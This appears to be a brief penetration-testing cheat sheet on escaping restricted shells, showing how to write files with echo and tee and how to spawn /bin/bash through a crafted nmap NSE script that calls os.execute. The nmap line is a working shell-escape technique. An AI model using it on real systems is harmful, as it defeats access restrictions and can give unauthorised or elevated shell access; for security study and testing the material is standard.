Escape restricted or limited shells

Write text to file

echo 'something' > somefile
echo 'something' | tee somefile

nmap

echo "os.execute('/bin/bash')" | tee escape
nmap --script=escape.nse